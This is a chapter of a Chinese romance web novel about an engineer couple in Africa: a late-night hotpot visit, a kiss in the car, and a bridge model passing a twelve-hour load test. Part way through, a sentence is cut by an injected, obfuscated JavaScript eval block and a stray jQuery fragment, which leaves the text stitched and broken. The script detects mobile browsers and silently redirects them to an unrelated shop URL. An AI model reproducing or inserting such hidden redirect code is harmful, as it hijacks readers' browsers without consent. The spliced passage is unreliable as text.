61.第 61 章
    梁冉怎么想都觉得不对劲,“非洲不会有什么奇门邪术吧,他找你借钱了吗?”

    “没有……你想到哪里去了,这不是杀猪盘!”沈时因说:“而且他根本就不缺钱,来非洲工作也不是为了钱。”

    “这种鬼话你怎么也信,不为赚钱,那难道是为了做慈善?”

    沈时因有些啼笑皆非,“还真被你给说对了,他就是为了做慈善。”

    梁冉看沈时因的眼神逐渐变得不可理喻,“不行,我实在放心不下。我得来趟非洲会会你这个男朋友,但我单位估计不会批,你什么时候把他带回国吧,让我们这帮娘家人亲自审一审。”

    沈时因思忖着说:“最近应该没什么回国的机会,现在正是忙的阶段。”

    “那你……”梁冉欲言又止地问:“真的特别喜欢他?”

    沈时因点头,“特别喜欢。”

    梁冉仿佛下了很大的决心,“那只要你喜欢就好,但是千万要保护好自己。你找男朋友也别光看脸,还是得找个对你好的人。”

    沈时因说:“我知道,我心里有数的。”

    梁冉第二天还要上班,她们没怎么再继续聊下去。挂断视频,沈时因坐在书桌前出了很久的神。

    事情好像并没有得到解决,反而更让人心中憋闷了。梁冉是她的好朋友,当然会无条件地站在她这边,也看不得她受一点委屈。梁冉的态度很明确,就是在劝分,可这不是沈时因想听到的话,所以最后演变成了她在给钟琂说话。

    人们常说置身于感情中的人容易当局者迷,原来钟琂的表现落在别人眼里并不是一个合格的男友……

    这难道不是沈时因早就已经心知肚明的吗,现在尘埃落定了,她才明白自己根本就丢不开手。即使清醒着,她也想沉沦进去。

    沈时因拿起睡衣,走到浴室打开花洒洗澡。她现在是真的没什么食欲吃饭了,水流从头淋到脚,室内雾气蒸腾,一切都变得迷蒙、不真实。

    吹完头发,沈时因把电脑带到床上,把小兔子垫到后背,找出一个综艺节目看。这也是梁冉给她推荐的,据说每期都能把人的眼泪笑出来。

    房里的光源只剩一盏夜灯,沈时因把电脑的音量开到一个刚好能听见的程度,刚看了个开头,钥匙转动锁芯的声音传进了她的耳里。

    沈时因在第一时间合上了电脑,有人在试图开她的门。

    唯一有钥匙的人就是钟琂了,正在开门的人也大概率就是他。沈时因陷入了一阵没由来的慌乱,在门被推开的那一刻,说时迟那时快,她飞快将电脑塞到枕头下面,人也迅速卧倒。

    进来的人果然是钟琂,他提着一个塑料袋,放轻脚步走到桌边放下,然后返回到床边,借着一点小夜灯的光亮撩开蚊帐。

    正在装睡的沈时因感觉到一个有些冰凉的东西被放进自己的耳朵,紧接着是“滴”的一道声音。

    她鬼鬼祟祟地掀开一点眼皮,看见钟琂正站在床边,手里正拿着个东西研究。沈时因假装被吵醒,说话时还带着点懒音:“你怎么来了?”

    “我来看看你是不是病了。”钟琂还在看手里的耳温枪,上面显示的是一个正常范围内的数值,这说明沈时因没有发烧。

    说完,他再度掀开蚊帐,把自己的额头贴了过来,像是在感受温度。

    沈时因的心脏都快骤停了,她被钟琂抵着,一动也不敢动,只听见他离得很近地问:“我把你吵醒了?”

    “没……没关系,”沈时因打起了磕巴,“我本来也没睡得多熟。”

    钟琂像是彻底确认了她没有在发烧,他退出了一点,把床头的夜灯调暗。

    沈时因拥着被子坐起来,有气无力地问:“你过来怎么也不提前说一声?你是不是没看手机,我都让你别来了。”

    “我看见了。你说你要睡觉,我再回信息不是反而会吵到你么。”钟琂把蚊帐合上,他走过去烧水,沈时因还听见了洗菜和切菜的声音。

    事到如今,沈时因本着演戏演全套的原则,愣是坐在床上没下来。

    没过多久,食物的香气飘了出来,是沈时因本来想吃的火锅。

    “你还是去买了菜?”沈时因隔着蚊帐问。

    “嗯,买了点你爱吃的。”钟琂把食材都放进去,走到床边说:“不想吃就不吃,我主要是怕你晚上会饿,留着应急的。”

    钟琂打算等煮开了就调到保温模式,这样沈时因睡到半夜如果饿了就能吃。

    他把手伸进来摸了摸沈时因的额头,“你怎么这么热,别总裹着被子。还是说你没把头发吹干?”

    沈时因觉得应该是后者,但她什么也没说,任由钟琂不知道从哪找了张棉柔巾给她擦汗。

    “钟琂。”

    钟琂手里的动作没停,“嗯?”

    “你喜欢我吗?”

    钟琂想也没想,语调上扬地说:“喜欢啊……”

    他的语气很自然,也很理所应当,还有点莫名,仿佛在疑惑:这还用问?

    忽然,汤水沸腾时顶开锅盖的声音响起,钟琂赶紧走过去,“煮开了。”

    他把小锅的模式调成保温,维持在一个能冒泡但不至于火力太大的程度,然后定时两个小时自动断电。

    “再过几分钟就能吃了,如果凉了你就热一热。”钟琂四处检查了一遍,看有没有蚊子,再看有没有壁虎。

    巡视一圈之后,钟琂说:“那我走了,你好好休息。”

    单人宿舍配备的都是单人床,虽然他们平时睡在一起,但真正需要休息的时候可能还是会有点拥挤。

    钟琂没得到回应,以为沈时因又睡着了,于是拿起纸笔在桌上留了张字条。

    门被轻轻阖上,房间里重归寂静。沈时因重新躺了回去,一直用被子蒙着头,这时候才探出脑袋,确定钟琂已经走了。

    她走下床拧开台灯,打开了热气腾腾的锅,拿出碗筷,独自对着窗户开始吃这顿已经能称得上夜宵的晚饭。

    沈时因吃的时候在想,梁冉说让她拿点乔,可她不确定自己刚才那样算不算拿乔。梁冉还说要找个对自己好的人,沈时因想,钟琂愿意去买她喜欢吃的菜,煮一顿她不一定会吃的火锅,那至少能说明他还是有一点在意她的。

    想到最后,沈时因破罐子破摔地想,被拿捏就被拿捏吧。谈恋爱又不是什么考试比赛,她不需要随时将钟琂的一言一行都记录下来,计算他对自己的爱和付出有几分,虽然都说旁观者清,可鞋子只有穿在自己脚上才知道合不合适。

    *

    第二天是一个很重大的日子,大桥模型的静载实验要在这天进行,这关系到钟琂是否需要重新设计一版新的设计图。

    沈时因早早地起床,收拾完下楼的时候钟琂已经在车里等她了。

    “你今天感觉怎么样?”钟琂还在担心她有没有生病。

    “很好。”沈时因系好安全带,活力满满地说:“出发吧。”

    钟琂踩下油门,车子驶出园区,也就是经过他们之前谈话的小山坡时,他缓缓缓缓停下了。

    钟琂挂挡熄火的动作一气呵成,只有沈时因很茫然,“怎么突然停车了?”

    钟琂在想,他好像有很久都没有亲过沈时因了,到了工地现场又会是一天的“形同陌路”。万一实验的结果不好,他就又要开始暗无天日的加班画图。

    沈时因能感觉到钟琂看她的眼神不太对,车里的空气也变得粘稠,互相的熟悉程度足以预知接下来会发生什么。下一刻,钟琂欺身过来,右手捧住了她的脸,就像不会再有机会那样与她耳鬓厮磨。

    沈时因闭着眼睛,她回应着钟琂的吻,好几次都吸吮住他的舌尖,与他密不可分地交缠在一起。

    一吻结束,沈时因靠在座椅上,手里抓着扶手轻轻喘气。钟琂点燃火踩下油门,重新汇入车流之中。

    就在他们行驶的终点,也就是现场办公

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006342|135313||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    区,以张士明为代表的一众员工已经面色凝重地坐在了会议室。

    连线即将开始,但钟琂还没到。张士明频频看表,躁动的情绪逐渐在众人脸上蔓延。

    坐在张士明左侧的人咂了咂嘴,主动开口道:“钟琂是不是又跟那个沈工一起?上次开研讨会也是,一到六点半就要走,一刻都等不了。现在也不知道出发了没有。”

    另一个惯常与他一唱一和的中年人说:“天天开车往返,也不嫌累得慌。人家沈工是女孩子,住不惯情有可原,钟琂一个大男人,怎么也这么瞎讲究?”

    他故意说得拿腔拿调,言下之意是钟琂太娇生惯养,吃不了一点苦。

    “呵,你们可别这么说。说不定是人小姑娘看上钟琂了,天天缠着他不放。”

    这话一出,几人之中小范围地爆发出嗤笑声。

    张士明一个眼刀过去,不留情面地斥道:“都少说两句。”

    没过多久,会议室的门被打开,钟琂大马金刀地走进来,径自坐到张士明的另一侧。他一进来,原本那几个爱说闲话的人全都鸦雀无声,盯着自己面前的电脑屏幕,头也不敢抬一下。

    连线时间也正好到了。张士明整装肃容,按下了接通按钮,十几个人组成的教授团队出现在画面里。

    洁白如新的实验室里,他们旁边放着的是按照设计图复刻出的大桥模型。其中锚具材料使用经热处理与表面改性超高强韧化技术的碳低合金钢,斜拉悬索采用白帆造型,纤细轻盈得像一条条飘带,水里还根据实际情况制造了人工洋流。

    光是这一模型就造价不菲,如果通过实验,那么它将会进入博物馆永久保存。

    在做过初步的介绍和展示之后,实验人员打开模拟的风浪按钮。这样的冲刷节奏比正常海浪快了好几倍,紧接着,第一个重物被放了上去。

    按照比例和荷载,它模拟的是一千吨的重量,随着轮胎缓缓碾过“桥面”,后续的大吨位重物也被紧随其后地放了上来,这又是一个一千吨。

    实验将持续一整天,考察的不仅是承受荷载的能力和抗倾覆性能,还有抗风抗震抗腐蚀、排水供电,当然最重要的还是稳定性。

    在场的所有人全都屏息凝神,不出意外的话什么都不会发生,但只要出了意外,那就是一瞬间的事。

    其他基地人员也都按耐不住,到了下午,他们陆续涌进会议室,挤挤挨挨地站在大屏幕前观看,这其中也包括了沈时因和胡定荣。

    沈时因一瞬不瞬地盯着画面里的大桥模型,大气也不敢出。每次加上新的荷载,她的心总会漏跳一拍,等画面稳定下来,她的呼吸才会跟着变得顺畅。

    模型旁边的计时器数字还在不断变化,沈时因知道,当那个数字变成“12”才意味着实验结束,也就是要经历整整十二个小时。

    沈时因站得双脚发酸,她好几次分神看向最前面的钟琂,他都是一派冷静怡然的模样,手边还放着一杯咖啡,仿佛这件正在被万众期待的事其实与他无关。

    当时间超过十一个小时以后周边氛围明显变得有些躁动不安。模型在制作过程中所用到的材料和结构方式与钟琂的设计图完全一致,但实验中所制造的困境都是极端情况,是实际生活中会产生的三倍不止,这就意味着越进行到后面,风险系数也就相应地拉到最大。

    站得密不透风的会议室里,除了来自祖国实验室里的风浪声,整个集体都陷入了一种寂静无声的焦灼状态。

    时间的流逝变得很慢,计时器上每一次数字的变化都像打在人的心里。

    当最前方的数字跳到“12”时,沈时因怀着激动与不安的心情看向依旧稳固挺立的大桥模型。紧接着,身边爆发出雷鸣般的欢呼与喝彩。

    最前面的钟琂依旧神色淡然,他站起身与张士明握了下手,互相进行了一个友好的展望。他随即往外走,路过沈时因的时候,钟琂不疾不徐地说:“走,下班了。”